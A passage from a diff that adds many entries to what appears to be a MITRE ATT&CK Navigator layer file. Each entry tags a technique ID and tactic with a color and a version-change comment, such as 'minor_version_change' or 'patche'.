"#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1087", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1137.006", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098.001", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098.003", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098.002", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1550.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1550.001", + "tactic": "lateral-movement", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1499.003", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1071", + "tactic": "command-and-control", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1499.004", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1053.002", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1053.002", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1053.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1119", + "tactic": "collection", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1552.003", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1110", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1552.008", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1070.008", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1059.009", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1087.004", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1136.003", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1078.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1078.004", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1078.004", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1078.004", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1586.003", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1069.003", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1538", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1526", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1021.007", + "tactic": "lateral-movement", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1213.003", + "tactic": "collection", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1059", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1027.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1554", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.009", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.009", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.009", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1213.001", + "tactic": "collection", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1136", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1578.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1578.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1056.004", + "tactic": "collection", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1056.004", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1110.004", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1589.001", + "tactic": "reconnaissance", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1555.003", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1053.003", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1053.003", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1053.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1003.006", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1574.001", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1574.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1574.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1590.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1485", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1530", + "tactic": "collection", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1213", + "tactic": "collection", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1078.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1078.001", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1078.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1078.001", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1578.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098.005", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1098.005", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1498.001", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1562.007", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1562.008", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.001", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.001", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1568.002", + "tactic": "command-and-control", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1484", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1484", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1583.001", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1584.001", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1189", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1087.003", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1114", + "tactic": "collection", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1114.003", + "tactic": "collection", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1564.008", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1499", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1546", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1546", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1480", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1048", + "tactic": "exfiltration", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1567", + "tactic": "exfiltration", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1567.004", + "tactic": "exfiltration", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1190", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1212", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1657", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1606", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1592", + "tactic": "reconnaissance", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1552.006", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1564", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.007", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.007", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.007", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1562", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1656", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1070", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1202", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1490", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1056", + "tactic": "collection", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1056", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1559", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1534", + "tactic": "lateral-movement", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1059.007", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1003.004", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1003.001", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1569.001", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1055.015", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1055.015", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1654", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1204.002", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1204.001", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.006", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.006", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.006", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1621", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1090.003", + "tactic": "command-and-control", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1498", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1137", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1137.001", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1137.002", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1137.003", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1137.004", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1137.005", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1110.002", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.002", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.002", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1110.001", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1555.005", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1201", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1110.003", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1069", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1566", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.003", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.003", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1552.004", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1498.002", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1114.002", + "tactic": "collection", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.005", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1556.005", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1218.011", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1565.003", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1606.002", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1608.006", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1505.001", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1595.001", + "tactic": "reconnaissance", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1053.005", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1053.005", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1053.005", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1597", + "tactic": "reconnaissance", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1594", + "tactic": "reconnaissance", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1583.007", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1584.007", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1648", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1499.002", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1213.002", + "tactic": "collection", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1072", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1072", + "tactic": "lateral-movement", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1566.002", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1566.004", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1528", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1539", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1649", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1558", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1614", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1569", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1548.006", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1548.006", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1080", + "tactic": "lateral-movement", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1548.005", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1548.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1070.006", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1020.001", + "tactic": "exfiltration", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1537", + "tactic": "exfiltration", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1484.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1484.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1199", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1552", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1550", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1550", + "tactic": "lateral-movement", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1204", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1078", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1078", + "tactic": "persistence", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1078", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1078", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1102", + "tactic": "command-and-control", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1550.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1550.004", + "tactic": "lateral-movement", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1583", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059.002", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1010", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1588.007", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1123", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1176", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1003.005", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1651", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1580", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1552.005", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1555.006", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1027.010", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1584", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1552.007", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1609", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.007", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.007", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.007", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1552.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1555", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1552.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1557.003", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1557.003", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1074", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + 